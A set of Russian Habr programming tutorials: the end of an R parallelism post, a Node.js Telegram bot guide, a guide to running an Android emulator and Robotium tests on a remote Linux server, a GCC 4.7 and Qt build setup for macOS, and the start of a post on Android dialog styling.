В зависимости от решаемой задачи степень ускорения может существенно меняться. В некоторых случаях, например, на маленьких массивах, накладные расходы от распараллеливания могут превышать выигрыш от параллельного исполнения, и вычисления могут даже замедляться, так что везде без разбора бездумно использовать параллельные версии функций точно не стоит. Например, не стоит распараллеливать таким способом расчёт квадратов значений внутри вызываемой функции, используя future\_sapply, это приведёт к сильному замедлению. Но для обработки массивов с большим числом строк подобное распараллеливание почти всегда даёт достаточно ощутимое ускорение. В данном случае – примерно четырёхкратное. Если производить аналогичные вычисления не для матрицы, а для таблицы данных, например, предварительно преобразовав в неё исходную матрицу (a <- data.frame(a)), то расчёт в целом в несколько раз замедлится, но разница между последовательным и параллельным выполнением будет уже примерно в 8 раз. Довольно ощутимая разница.
Ну вот, собственно, и всё. Способ достаточно простой. Для меня, когда я про него узнал, это была просто находка. Справедливо ли утверждение, что нынешний R не поддерживает параллельные вычисления? Зависит от точки зрения на этот вопрос, от строгости его постановки. Но в некотором смысле можно считать, что всё-таки поддерживает. | https://habr.com/ru/post/527178/ | null | ru | null |
# Node.js: разрабатываем бота для Telegram
Привет, друзья!
В данном туториале мы разработаем простого бота для [Telegram](https://web.telegram.org/k/). Сначала зарегистрируем и кастомизируем бота с помощью *BotFather*, затем напишем для него сервер на [Express](https://expressjs.com/ru/), развернем сервер на [Heroku](https://www.heroku.com/) и подключим бота к серверу с помощью веб-хука.
Функционал бота будет следующим:
* в ответ на сообщение *joke* возвращается программистская шутка, например: "Algorithm: a word used by programmers when they don't want to explain how their code works." (Алгоритм — это слово, используемое программистами, когда они не хотят объяснять, как работает их код));
* в ответ на сообщение, представляющее собой дату в формате *ДД.ММ*, возвращается либо список дел, запланированных на эту дату в таблице Google (массив объектов), либо фраза "You have nothing to do on this day.", если на эту дату не запланировано никаких дел;
* в ответ на любое другое сообщение возвращается фраза "I have nothing to say.".
При разработке бота я буду опираться в основном на [официальную документацию](https://core.telegram.org/bots).
* [Репозиторий с кодом сервера для бота](https://github.com/harryheman/Blog-Posts/tree/master/telegram-bot-server).
* Бот — @aio350\_reminder\_bot.
Если вам это интересно, прошу под кат.
Регистрация и кастомизация бота
-------------------------------
Для регистрации бота нужен только Telegram (я буду использовать десктопную версию). Находим в нем *BotFather* ([BotFather](https://habr.com/ru/users/botfather/)):
Нажимаем на *Start* и получаем список команд:
Выполняем команду */newbot* для создания бота, указываем имя и *username* бота (*username* должно быть уникальным в пределах *Telegram*), например: "Neo" и "aio350\_reminder\_bot".
Получаем токен доступа: 5372263544:...
Выполняем команду */mybots* для получения списка наших ботов, выбираем только что созданного бота и нажимаем *Edit Bot*:
Добавляем боту описание (*Edit Description*), характеристику (*Edit About*) и аватар (*Edit Botpic*):
Аватар (спасибо [FlatIcon](https://www.flaticon.com/)):
Отлично, мы зарегистрировали бота в Telegram и кастомизировали его. Поздороваемся с ним:
Бот молчит, потому что у него пока нет "мозгов") Давайте это исправим.
Разработка и деплой сервера для бота
------------------------------------
Создаем директорию, переходим в нее и инициализируем *Node.js-проект*:
```
mkdir telegram-bot-server
cd telegram-bot-server
yarn init -yp
# or
npm init -y
```
Устанавливаем зависимости:
```
# производственные зависимости
yarn add axios dotenv express fs-extra google-spreadsheet
# зависимость для разработки
yarn add -D nodemon
```
* [axios](https://github.com/axios/axios): клиент-серверная утилита для выполнения *HTTP-запросов*;
* [dotenv](https://www.npmjs.com/package/dotenv): утилита для работы с переменными среды окружения;
* [express](https://expressjs.com/ru/): *Node.js-фреймворк* для разработки веб-серверов;
* [fs-extra](https://www.npmjs.com/package/fs-extra): расширенный *Node.js-модуль* [fs](https://nodejs.org/api/fs.html);
* [google-spreadsheet](https://www.npmjs.com/package/google-spreadsheet): пакет для работы с гугл-таблицами;
* [nodemon](https://www.npmjs.com/package/nodemon): утилита для запуска сервера для разработки.
Определяем тип кода сервера (модуль) и команды для запуска сервера в производственном режиме (*start*) и режиме для разработки (*dev*) в файле *package.json*:
```
"type": "module",
"scripts": {
"start": "node index.js",
"dev": "nodemon index.js"
},
```
Создаем файл *.env* и записываем туда токен доступа:
```
TELEGRAM_API_TOKEN=5348751300:...
```
Прежде, чем приступать к разработке сервера, необходимо настроить гугл-таблицу, в которой будут храниться наши задачи.
Создаем таблицу в [Google Spreadsheets](https://docs.google.com/spreadsheets/u/0/) следующего содержания:
Извлекаем идентификатор таблицы из адресной строки (набор символов между *d/* и */edit*) и записываем его в *.env*:
```
GOOGLE_SPREADSHEET_ID=1HG60...
```
Идем в [Google Cloud Platform](https://console.cloud.google.com/), переходим в раздел *IAM & Admin* -> *Service Accounts* и создаем сервис-аккаунт (*Create Service Account*), например: *Telegram Bot Spreadsheet*.
Выбираем созданный сервис-аккаунт, переходим в раздел *Keys* и генерируем ключ (*Add Key* -> *Create new key*) в формате *JSON*:
В скачанном *JSON-файле* нас интересуют поля *client\_email* и *private\_key*. Записываем значения этих полей в *.env*:
```
GOOGLE_SERVICE_ACCOUNT_EMAIL=telegram-bot-spreadsheet@telegram-bot-spreadsheet.iam.gserviceaccount.com
GOOGLE_PRIVATE_KEY=-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----
```
Переходим в раздел *APIs & Services* -> *Enabled APIs & services* и подключаем интерфейс таблиц с сервис-аккаунту (*Enable APIs and Services*):
*Обратите внимание*: аналогичным образом можно настроить доступ к гугл-календарю (только для работы с ним потребуется другой пакет, например, [@googleapis/calendar](https://www.npmjs.com/package/@googleapis/calendar)).
Теперь можно вернуться к разработке сервера.
Создаем файл *index.js* и импортируем зависимости:
```
import axios from 'axios'
import { config } from 'dotenv'
import express from 'express'
import { GoogleSpreadsheet } from 'google-spreadsheet'
```
Получаем доступ к переменным среды окружения, создаем экземпляр приложения *Express* и определяем пути к шуткам и телеграмму:
```
config()
const app = express()
const JOKE_API = 'https://v2.jokeapi.dev/joke/Programming?type=single'
const TELEGRAM_URI = `https://api.telegram.org/bot${process.env.TELEGRAM_API_TOKEN}/sendMessage`
```
Подключаем посредников (middleware) *Express* и инициализируем таблицу:
```
app.use(express.json())
app.use(
express.urlencoded({
extended: true
})
)
const doc = new GoogleSpreadsheet(process.env.GOOGLE_SPREADSHEET_ID)
await doc.useServiceAccountAuth({
client_email: process.env.GOOGLE_SERVICE_ACCOUNT_EMAIL,
private_key: process.env.GOOGLE_PRIVATE_KEY.replace(/\\n/g, '\n')
})
```
Определяем роут для *POST-запроса* к */new-message*:
```
app.post('/new-message', async (req, res) => {
// ...
})
```
Извлекаем сообщение из тела запроса и проверяем, что сообщение содержит текст и идентификатор чата:
```
const { message } = req.body
const messageText = message?.text?.toLowerCase()?.trim()
const chatId = message?.chat?.id
if (!messageText || !chatId) {
return res.sendStatus(400)
}
```
Получаем данные из таблицы и формируем данные для ответа:
```
await doc.loadInfo()
const sheet = doc.sheetsByIndex[0]
const rows = await sheet.getRows()
const dataFromSpreadsheet = rows.reduce((obj, row) => {
if (row.date) {
const todo = { text: row.text, done: row.done }
obj[row.date] = obj[row.date] ? [...obj[row.date], todo] : [todo]
}
return obj
}, {})
```
Формируем текст ответа:
```
let responseText = 'I have nothing to say.'
if (messageText === 'joke') {
try {
const response = await axios(JOKE_API)
responseText = response.data.joke
} catch (e) {
console.log(e)
res.send(e)
}
} else if (/\d\d\.\d\d/.test(messageText)) {
responseText =
dataFromSpreadsheet[messageText] || 'You have nothing to do on this day.'
}
```
И отправляет ответ:
```
try {
await axios.post(TELEGRAM_URI, {
chat_id: chatId,
text: responseText
})
res.send('Done')
} catch (e) {
console.log(e)
res.send(e)
}
```
Наконец, определяем порт и запускаем сервер:
```
const PORT = process.env.PORT || 3000
app.listen(PORT, () => {
console.log(`Server running on port ${PORT}`)
})
```
Бот не сможет взаимодействовать с сервером, запущенным локально, поэтому сервер необходимо где-нибудь развернуть, например, на *Heroku*.
Создаем там новое приложение, например: *my-telegram-bot-server* (название должно быть уникальным в пределах *Heroku*):
Глобально устанавливаем *Heroku CLI* и авторизуемся:
```
yarn global add heroku
heroku login
# далее следуем инструкциям
```
Находясь в корневой директории проекта, выполняем инициализацию *Git-репозитория*, подключаемся к *Heroku*, добавляем и фиксируем изменения и отправляем их в *Heroku* (не забудьте создать файл *.gitignore* с *node\_modules* и *.env*):
```
git init
# у вас название проекта будет другим
heroku git:remote -a my-telegram-bot-server
git add .
git commit -m "create app"
git push heroku master
```
После деплоя получаем *URL* приложения, например: *<https://my-telegram-bot-server.herokuapp.com/>* (он нам еще пригодится).
Открываем вкладку *Settings* на странице приложения и добавляем переменные среды окружения в разделе *Config Vars* (*Reveal Config Vars*):
Отлично, на этом с разработкой и деплоем сервера мы закончили.
Осталось подключить к нему бота.
Подключение бота к серверу
--------------------------
Существует несколько способов подключения бота к серверу, но самым простым является использование веб-хука.
Открываем терминал и выполняем следующую команду:
```
# в строке ("url=...") указываем `URL` проекта + `/new-message`
# после `bot` указываем токен доступа из переменной `TELEGRAM_API_TOKEN`
curl -F "url=https://my-telegram-bot-server.herokuapp.com/new-message" https://api.telegram.org/bot5372263544:.../setWebhook
```
Получаем сообщение об успешной установке хука.
Возвращаемся к боту.
Нажимаем */start*, получаем от бота сообщение "I have nothing to say.". Отправляем сообщение "joke", получаем шутку. Отправляем "11.05", получаем задачи в виде массива объектов. Отправляем "12.05", получаем "You have nothing to do on this day.".
*Примечание*: при разработке бота я немного опечатался (вместо "to do" написал "to to"), но уже исправился.
It's alive!)
Пожалуй, это все, чем я хотел поделиться с вами в этой статье.
Надеюсь, вы нашли для себя что-то интересное и не зря потратили время.
Благодарю за внимание и happy coding!
---
[](https://cloud.timeweb.com/vds-promo-10-rub?utm_source=habr&utm_medium=banner&utm_campaign=vds-promo-10-rub) | https://habr.com/ru/post/665124/ | null | ru | null |
# Запуск приложений в Android Virtual Device на удаленном Linux-сервере
В процессе работы над одним проектов возникла ситуация, когда необходимо проводить в автоматическом режиме ряд операций из мобильного приложения. Поскольку набор входных данных, которые вводит пользователь для работы приложения меняется, была необходима реализация, которая позволила бы имитировать действия пользователя. Более того, необходимо было, чтобы приложение запускалось автоматически на удаленном linux-сервере, выполняло действия и сохраняло результаты. О том, как решал данную задачу, я и хочу рассказать читателям.
Первая часть задачи решалась достаточно просто — взять библиотеку для тестирования мобильных приложений и реализовать необходимую логику. Выбор пал на Robotium. Во-первых, он бесплатный, во-вторых он позволяет достаточно удобно работать с тестируемым приложением, по крайней мере для меня. Не буду акцентировать внимание на реализации тестов, этому посвящены другие статьи, напомню только, что в результате получается еще одно приложение, которое умеет запускать тестируемое приложение, анализировать, что оно отображает и т.д. Вторая часть работы имела гораздо больше всевозможных подводных камней, но обо всем по порядку.
#### Требования и инструменты
Главным требованием было то, что приложение должно запускаться на linux-сервере. Для меня это значило, что привычного мне, заядлому «виндузятнику», графического интерфейса не будет со всеми вытекающими из этого сложностями. Также среди полезных пожеланий была возможность вести отладку все на том же сервере при необходимости.
Для реализации использовались:
1. Среда разработки — **IntelliJ IDEA**;
2. Удаленный сервер linux — **Debian 7**;
3. **Android SDK**;
4. **Putty** — для реализации удаленной отладки.
#### Шаг 1. Разворачиваем SDK
Сам Android SDK можно взять [отсюда](http://developer.android.com/index.html). Для его работы, разумеется, необходим предустановленный JDK, у меня это была версия 1.7. Ранее была необходима именно х86 версия, но начиная с некоторых последних версий данная проблема отпала. После того как Android SDK у нас есть, начинаем его устанавливать и настраивать:
1. Копируем архив на нашу linux-машину и распаковываем в нужный каталог;
2. Далее обновляем наш SDK.
Тут два варианта. Первый, когда вы точно знаете, что вам необходимо, тогда получаем список доступных библиотек:
```
./android list sdk –all
```
В результате получим длинный список доступных для скачивания пакетов, выбираем нужные и даем команду для из загрузки:
```
./android update sdk --no-ui –filter<порядковый номер пакета из списка пакетов или имя категории>
```
Второй вариант скачать все, что доступно на текущий момент. Мне он оказался ближе, потому что сам я не разработчик Android и не был уверен, что выберу все, что нужно:
```
./android update sdk --no-ui
```
Обе эти команды описаны на официальном сайте в разделе [документации](http://developer.android.com/tools/help/android.html), но почему-то описание ключа *--no-ui*, который указывает на запуск без графического интерфейса, я там не нашел, возможно, плохо искал.
3. Ждем окончания загрузки пакетов.
Далее для простоты управления можно добавить утилиты *adb*, *android*, *emulator* из каталогов *platform-tools* и *tools* в системные переменные, но я запускал их просто из каталога.
#### Шаг 2. Создаем и запускаем Android Virtual Device
Теперь нам необходимо создать наше виртуальное устройство, тут тоже ничего сложного, команда для этого стандартная:
```
./android create avd --name <имя устройства> --target <порядковый номер версии ОС Android> –b <набор инструкций процессора>
```
***Имя устройства*** — ну тут все и так понятно.
***Порядковый номер версии ОС Android*** — его можно увидеть в списке доступных версий для создания устройства. Сам список можно получить командой:
```
./android list target
```
***Набор инструкций процессора*** — какой процессор эмулировать, если для версии Android использовался только один вариант процессора, то данный параметр можно проигнорировать, иначе в ответ на команду утилита выдаст сообщение о необходимости явно указать набор инструкций, а также укажет возможные варианты. Например, у меня значение этого параметра было *default/armeabi*.
После этого создает папку с набором файлов виртуального устройства, расположен он в каталоге *\*/.android/avd*, который находится или в директории *root*, или в директории, где расположен сам SDK (зависит от прав пользователя). Имя каталога с файлами совпадает с именем виртуального устройства.
Теперь запускаем наше устройство. Напоминаю, что в условии стоит, что сервер у нас с терминальным доступом, а значит никаких графических библиотек у нас не было, нет и не будет. Но надо отдать ребятам из Google должное, они и этот случай предусмотрели:
```
./emulator -avd <имя устройства> -no-window
```
***-no-window*** — указывает на запуск с отключенным экраном.
***Имя устройства*** — имя, которое мы указали при создании устройства выше.
Более подробное описание и другие ключи для запуска можно найти [здесь](http://developer.android.com/tools/help/emulator.html).
Теперь нужно дождаться, пока устройство загрузится:
```
./adb wait-for-device
```
Теперь нам осталось только установить наши приложения: основное, которое обращается к серверу, и robotium-приложение, которое умеет обращаться к основному и выполнять действия:
```
./adb install -r <имя приложения>
```
***-r*** — данный ключ показывает, что если приложение уже существует, то перезаписать его.
***Имя приложения*** — имя вашего apk-файла с расширением.
На многих ресурсах я встречал упоминание, что AVD можно переносить просто скопировав файлы с одной машины на другую, но у меня не получилось: linux при попытке запуска бодро ругнулся на отсутствие файла *kernel.ini*, хотя на созданном непосредственно в linux-е эмуляторе никаких файлов с таким именем не наблюдалось. Но поскольку создание эмулятора дело минутное, я махнул на это рукой.
#### Шаг 3. Запуск приложений
Запустить robotium-приложение достаточно просто (я приведу конкретный пример для наглядности):
```
./adb -s emulator-5554 shell am instrument -w -e class com.example.robotium.Kernel com.example/android.test.InstrumentationTestRunner
```
***emulator-5554*** – имя эмулятора, обычно оно стандартно, если эмулятор запущен в системе один, но посмотреть список доступных запущенных устройство можно командой:
```
./adb devices
```
***e class com.example.robotium.Kernel*** – имя класса в robotium-приложении, непосредственно выполняющего тесты.
***com.example***– имя package из файла AndroidManifest.xml для robotium-приложения.
Казалось бы, вот и финиш, но не тут-то было. Приложение стартовало, какое-то время выполнялось и выпадало с ошибкой. Все оказалось банально, при запуске эмулятор стартует с заблокированным экраном – и ему все равно отображается этот экран или нет. Одна из первых ссылок в поисковике советует нам просто вбить команду:
```
./adb shell input keyevent 82
```
Тест на своей windows-машине показал, что это работает, причем независимо от того запущен эмулятор с параметром –no-window, и без него. А вот запуск на debian-е не дал ничего, ошибка повторялось, а значит причина в другом, предположил я. Долгие поиски не дали ничего конкретного, видимо, мало кому приходит в голову гонять тесты для GUI на терминальном сервере. В основном встречались комментарии, что поскольку тесты эти для gui, то и работать они при отключенном экране не могут, мол, нет GUI отображающегося, нет и тестов для них. Но у меня ситуация была из разряда «партия сказала надо» и придти с таким ответом к своему teamlead-у я не мог, поэтому я взял за аксиому, что экран просто не разблокировался, к сожалению проверить визуально как оно было на самом деле я не смог, сервер терминальный все-таки. Добавил дополнительные проверки на состояние экрана в момент запуска и действительно оказалось, что экран мало того, что не разблокирован, но и еще выключен – подвела-таки команда.
Проблему решить помогла программная разблокировка. Для этого в robotium-приложении добавляем код:
```
PowerManager.WakeLock wl;
PowerManager pm = (PowerManager) solo.getCurrentActivity().getApplicationContext().getSystemService(Context.POWER_SERVICE);
wl = pm.newWakeLock(PowerManager.FULL_WAKE_LOCK
| PowerManager.ACQUIRE_CAUSES_WAKEUP
| PowerManager.ON_AFTER_RELEASE, "INFO");
wl.acquire();
KeyguardManager km = (KeyguardManager) solo.getCurrentActivity().getApplicationContext().getSystemService(Context.KEYGUARD_SERVICE);
KeyguardManager.KeyguardLock kl;
kl = km.newKeyguardLock("name");
kl.disableKeyguard();
```
Чтобы данный код заработал в файл *AndroidManifest.xm*l необходимо добавить следующие строчки:
```
```
Следует отметить, что добавлять нужно не в файл robotium-приложения, а в файл тестируемого приложения, потому что вся работа с ОС Android ведется именно через него, а значит ему и нужны все права на доступ.
После этого еще раз выполняем описанную ранее команду — ура, все запустилось все работает.
#### Шаг 4. Настройка удаленной отладки
К сожалению, с нуля, ни сама Android SDK, ни IDEA не умеют работать с виртуальными устройствами на удаленных серверах, а значит заставим их думать, что устройство здесь, рядом. Для этого настроим в Putty туннель к нашему серверу. Для этого надо добавить два порта — для устройства *emulator-5554* это будут порты **5554** и **5555**. Для уточнения на всякий случай пример на изображении:
Теперь на удаленном сервере выключаем сервис ADB:
```
./adb kill-server
```
А на локальной машине запускаем или перезапускаем (сразу выключив):
```
./adb start-server
```
Теперь если выполнить команду *./adb devices* — мы увидим удаленные запущенные устройства. К сожалению, запускать эмуляторы удаленно мы не можем, только видеть уже запущенные, ну и работать с ними. Теперь, при запуске robotium-приложения непосредственно из IDEA в диалоге выбора устройства мы увидим и наш удаленный эмулятор (см. изображение). С ним можно работать точно так же как и с локальным.
Спасибо за внимание, надеюсь данный пост будет полезен еще кому-то, потому что мне его в свое время очень не хватало. | https://habr.com/ru/post/244443/ | null | ru | null |
# Qt/Objective-C++11 или сборка Qt-проекта с помощью GCC-4.7 и Clang
Всем доброго хабрадня!
Сегодня я расскажу уважаемым хабражителям об очередном извращении — о сборке проекта, написанного на Qt, под Mac OS X компилятором GCC-4.7.0 с примесью Clang'а (про шланг — в конце статьи, там станет понятно, зачем ещё и его приплетать будем).
Для чего нам GCC 4.7? Ну, например, чтобы использовать все те крутые фичи из стандарта C++11. Разве этого мало? Кроме поддержки нового стандарта, в нём очень [много улучшений](http://gcc.gnu.org/gcc-4.7/changes.html) по сравнению с идущим в комплекте с Xcode GCC 4.2 (хотя он и оказывается на поверку i686-apple-darwin11-llvm-g++-4.2), так что смысл в переходе на 4.7 явно имеется. Но и проблемы присутствуют, о чём ниже.
Мы можем предположить, что нам потребуются некие фичи из `Cocoa`, а значит, нам потребуется компилятор Objcetive-C, а ещё лучше — Objective-C++, чтобы, например, [интегрировать](http://habrahabr.ru/post/133700/) наше Qt-приложение в окружение Mac OS X.
Начнём мы с установки GCC-4.7.0. Можно, конечно, воспользоваться уже готовой сборкой (например, [отсюда](https://github.com/sol-prog/gcc-4.7-binary)), но мы пойдём путём джедая и соберём набор компиляторов сами, ведь в сборке по ссылке выше нет поддержки Objective-C[++]. Это проще, чем кажется на первый взгляд, можно всё делать вручную (следуя инструкции, к примеру, [отсюда](http://solarianprogrammer.com/2012/02/20/living-on-the-edge-building-gcc-4-7-on-mac-osx-lion/)), а можно сделать нормальный скрипт, который сделает за нас всю работу. Вот, к примеру, мой скрипт, основанный на [этом обсуждении](http://apple.stackexchange.com/questions/38222/how-do-i-install-gcc-via-homebrew), он потребует brew и wget:
```
#!/bin/bash
#
# This script downloads and builds GCC 4.7.0 for Mac OS X.
# Depends on: brew, wget
#
# This file is modifyed version of script by Konrad Rudolph, found here:
# http://apple.stackexchange.com/questions/38222/how-do-i-install-gcc-via-homebrew
#
VERSION=4.7.0
VER_SHORT=4.7
PREFIX=/usr/local/gcc-${VER_SHORT}
TEMP_DIR=temp-gcc
LANGUAGES=c,c++,objc,obj-c++
MAKE='make -j 4'
echo "Preparing to install GCC ${VERSION}..."
echo " Installation path: ${PREFIX}"
echo " Temporary dir: ${TEMP_DIR}"
echo " Programming languages: ${LANGUAGES}"
brew-path() { brew info $1 | head -n3 | tail -n1 | cut -d' ' -f1; }
# Prerequisites
echo
echo "Installing gmp, mpfr and libmpc using brew..."
brew install gmp
brew install mpfr
brew install libmpc
# Download & install the latest GCC
echo
echo "Downloading GCC sources..."
mkdir -p $PREFIX
mkdir ${TEMP_DIR}
cd ${TEMP_DIR}
wget ftp://ftp.gnu.org/gnu/gcc/gcc-${VERSION}/gcc-${VERSION}.tar.gz
tar xfz gcc-$VERSION.tar.gz
rm gcc-${VERSION}.tar.gz
cd gcc-${VERSION}
mkdir build
cd build
echo
echo "Configuring GCC..."
../configure \
--prefix=$PREFIX \
--with-gmp=$(brew-path gmp) \
--with-mpfr=$(brew-path mpfr) \
--with-mpc=$(brew-path libmpc) \
--program-suffix=-${VER_SHORT} \
--enable-languages=${LANGUAGES} \
--with-system-zlib \
--enable-stage1-checking \
--enable-plugin \
--enable-lto \
--disable-multilib
echo
echo "Building GCC..."
$MAKE bootstrap
echo
echo "Installing GCC..."
make install
```
(за его развитием можно следить на [гитхабе](https://github.com/silvansky/macscripts/blob/master/build_gcc.sh))
Что ж, после получасовой (±) сборки получаем GCC 4.7.0, установленный в /usr/local/gcc-4.7/bin. Теперь можно попробовать собрать наш проект с его помощью. Но для начала просто проверим, работает ли он:
```
$ export PATH=/usr/local/gcc-4.7/bin:$PATH
$ g++-4.7 --version
g++-4.7 (GCC) 4.7.0
Copyright (C) 2012 Free Software Foundation, Inc.
Это свободно распространяемое программное обеспечение. Условия копирования
приведены в исходных текстах. Без гарантии каких-либо качеств, включая
коммерческую ценность и применимость для каких-либо целей.
```
Ну вот, совсем неплохо. Но как заставить qmake собирать проект именно этим компилятором? Кроме `export PATH` нам понадобится указать qmake какой компилятор использовать. Сделать это можно двумя способами.
Первый способ, грубый, кривой и неудобный, а главное — в корне неправильный. Указать компилятор в .pro файле:
```
macx {
QMAKE_CXX = g++-4.7
QMAKE_CXXFLAGS += -std=c++11 -v
QMAKE_CXXFLAGS_X86_64 -= -Xarch_x86_64
QMAKE_CC = gcc-4.7
QMAKE_CFLAGS += -std=c++11 -v
QMAKE_CFLAGS_X86_64 -= -Xarch_x86_64
QMAKE_LINK = $$QMAKE_CXX
QMAKE_LINK_SHLIB = $$QMAKE_CXX
QMAKE_LINK_C = $$QMAKE_CC
QMAKE_LINK_C_SHLIB = $$QMAKE_CC
QMAKE_LFLAGS_X86_64 -= -Xarch_x86_64
QMAKE_OBJECTIVE_CFLAGS_X86_64 -= -Xarch_x86_64
}
```
Второй способ, аккуратный, красивый и **правильный**. Создать свой `mkspec`! Для этого заходим в `/usr/local/Qt4.8/mkspecs`, и выполняем для начала несложные команды:
```
sudo cp macx-g++ macx-g++47
sudo cp common/g++-base.conf common/g++47-base.conf
sudo cp common/g++-macx.conf common/g++47-macx.conf
```
Далее в любимом текстовом редакторе (в моём случае — mcedit) приводим файл `macx-g++47/qmake.conf` к следующему виду:
```
MAKEFILE_GENERATOR = UNIX
TARGET_PLATFORM = macx
TEMPLATE = app
CONFIG += qt warn_on release app_bundle incremental global_init_link_order lib_version_first plugin_no_soname link_prl
QT += core gui
QMAKE_INCREMENTAL_STYLE = sublib
include(../common/mac.conf)
include(../common/gcc-base-macx.conf)
include(../common/g++47-macx.conf)
load(qt_config)
```
По сути — дописываем «47» в середине предпоследней строки. Далее редактируем файл `common/g++47-macx.conf`, делаем его таким:
```
include(g++47-base.conf)
QMAKE_CFLAGS_RELEASE_WITH_DEBUGINFO += $$QMAKE_CFLAGS_DWARF2
QMAKE_CXXFLAGS_RELEASE_WITH_DEBUGINFO += $$QMAKE_CFLAGS_DWARF2
QMAKE_LFLAGS_RELEASE_WITH_DEBUGINFO += -g $$QMAKE_CFLAGS_DWARF2
QMAKE_LFLAGS_STATIC_LIB += -all_load
QMAKE_CFLAGS_X86_64 += -mmacosx-version-min=10.5 -std=c++11
QMAKE_CFLAGS_PPC_64 += -mmacosx-version-min=10.5 -std=c++11
QMAKE_CXXFLAGS_X86_64 = $$QMAKE_CFLAGS_X86_64
QMAKE_CXXFLAGS_PPC_64 = $$QMAKE_CFLAGS_PPC_64
QMAKE_OBJECTIVE_CFLAGS_X86_64 = $$QMAKE_CFLAGS_X86_64
QMAKE_OBJECTIVE_CFLAGS_PPC_64 = $$QMAKE_CFLAGS_PPC_64
QMAKE_LFLAGS_X86_64 = $$QMAKE_CFLAGS_X86_64
QMAKE_LFLAGS_PPC_64 = $$QMAKE_CFLAGS_PPC_64
QMAKE_OBJCFLAGS_PRECOMPILE = -x objective-c-header -c ${QMAKE_PCH_INPUT} -o ${QMAKE_PCH_OUTPUT}
QMAKE_OBJCFLAGS_USE_PRECOMPILE = $$QMAKE_CFLAGS_USE_PRECOMPILE
QMAKE_OBJCXXFLAGS_PRECOMPILE = -x objective-c++-header -c ${QMAKE_PCH_INPUT} -o ${QMAKE_PCH_OUTPUT}
QMAKE_OBJCXXFLAGS_USE_PRECOMPILE = $$QMAKE_CFLAGS_USE_PRECOMPILE
```
Опять же, по сути, мы меняем только флаги сборки и добавляем ~~MAGIC NUMBER~~ 47.
Теперь допиливаем `g++47-base.conf`:
```
QMAKE_CC = gcc-4.7
QMAKE_LINK_C = $$QMAKE_CC
QMAKE_LINK_C_SHLIB = $$QMAKE_CC
QMAKE_CFLAGS_RELEASE_WITH_DEBUGINFO += -O2 -g
QMAKE_CXX = g++-4.7
QMAKE_LINK = $$QMAKE_CXX
QMAKE_LINK_SHLIB = $$QMAKE_CXX
QMAKE_CXXFLAGS_RELEASE_WITH_DEBUGINFO += $$QMAKE_CFLAGS_RELEASE_WITH_DEBUGINFO
QMAKE_PCH_OUTPUT_EXT = .gch
QMAKE_CFLAGS_PRECOMPILE = -x c-header -c ${QMAKE_PCH_INPUT} -o ${QMAKE_PCH_OUTPUT}
QMAKE_CFLAGS_USE_PRECOMPILE = -include ${QMAKE_PCH_OUTPUT_BASE}
QMAKE_CXXFLAGS_PRECOMPILE = -x c++-header -c ${QMAKE_PCH_INPUT} -o ${QMAKE_PCH_OUTPUT}
QMAKE_CXXFLAGS_USE_PRECOMPILE = $$QMAKE_CFLAGS_USE_PRECOMPILE
```
Тут мы опять таки дописали "-4.7" в паре строк. Что ж, этого будет достаточно. Теперь можно настраивать Qt Creator для работы с новым mkspec'ом! В настройках идём в `Build & Run -> Tool Chains -> Add -> GCC`, в поле Compiler path вписываем `/usr/local/gcc-4.7/bin/g++-4.7`, в Debugger — `/usr/bin/gdb`, а в mkspec — `macx-g++47`. Сам же тулчейн можно обозвать как-нибудь типа «GCC-4.7», «c++11 compiler» или типа того. Теперь в настройках проекта можно выбирать наш новый тулчейн и — вуаля! — проект будет собираться нашим свежесобранным компилятором! Если же мы хотим всё это дело использовать из консоли, достаточно будет вызывать qmake с параметром `-spec macx-g++47`.
Что ж, работать можно, проекты собираются, запускаются и работают. Но есть парочка проблем…
Точнее, проблемок. Одна из них — если попробовать начать использовать в проекте Objective-C[++], то компилятор немножечко загнётся. Почему? Причина проста: компилятор Objective-C из GCC не понимает блоки! Как так? Почему? Кто допустил? Не знаю, но факт есть факт. Поэтому от него будет крайне мало толку вне C/C++. А жаль. Но не будем унывать! Если не удаётся собрать Objective-C[++] код с помощью GCC, соберём его clang'ом. Для этого опять таки редактируем файлы `g++47-base.conf` и `g++47-macx.conf`, дописываем в конец следующие строки:
```
# in file g++47-base.conf
QMAKE_OBJECTIVE_CC = clang
# in file g++47-macx.conf
QMAKE_OBJECTIVE_CFLAGS += -std=c++0x -stdlib=libc++
```
Таким образом, все наши исходники на C/C++ будут собираться с помощью g++-4.7, а исходники Objective-C[++] — с помощью clang. Неудобно? Конечно, неудобно! Казалось бы, легче перейти полностью на clang, благо он поддержиывает C++11 в некотором объёме. Но! До GCC ему пока далековато, так что в наших \*.mm файлах поостережёмся использовать C++11 в больших количествах, шланг не всё выдержит, к сожалению. Но зато в \*.cpp файлах есть где разгуляться!
Если Вам неохота ходить по mkcpec-ам и их править, [прошу на гитхаб](https://github.com/silvansky/qt48_mkspec_gcc-47), там я выложил свою версию. И помните! GCC 4.7 установлен в `/usr/local/gcc-4.7/bin/`, так что без экспорта PATH не обойтись! Хотя, в Qt Creator'е можно добавить этот путь в PATH для сборки в свойствах проекта.
Удачных сборок! И поменьше ошибок!
**PS:** Если Вы обнаружили неточности и/или знаете методы получше, прошу отписываться в комментах =). | https://habr.com/ru/post/144707/ | null | ru | null |
# Проблемы, возникающие при разработке android-приложений
Введение
--------
Доброго времени суток. В этой статье вы узнаете о том, какие проблемы могут возникнуть при разработке android-приложений. На написание этой статьи меня побудили комментарии из прошлой статьи, кстати вот она: [моя первая статья](https://habrahabr.ru/post/322008/). Спасибо за советы! Ну, пора начинать…
Проблема 1
----------
Разрабатывая свои приложения мне хотелось сделать их как можно удобнее и красивее. Этому мешали стандартные диалоговые окна. Мне хотелось, чтобы фон в диалоге совпадал с основным фоном приложения.
### Решение
В манифесте нужно выбрать собственную тему, за это отвечает атрибут:
```
android:theme="@style/AppTheme">
```
Заходим в values/styles.xml:
В этом файле находится тема приложения. Сначала я сделал приложение во весь экран, через наследование темы — android:Theme.Black.NoTitleBar.Fullscreen, потом изменил стиль диалоговых окон таким образом:
```
@style/alertStyle
```
но такой вариант не работает… За стиль диалоговых окон отвечает именно такой атрибут:
```
@style/alertStyle
```
Теперь уже можно определить сам стиль в том же файле:
```
<item name="android:layout\_gravity">center</item>
<item name="android:background">#64abcdf5</item>
```
**Весь файл**
```
<item name="android:alertDialogTheme">@style/alertStyle</item>
<item name="android:layout\_gravity">center</item>
<item name="android:background">#64abcdf5</item>
```
В результате получаем:
**Красивое диалоговое окно**
### Проблема 2
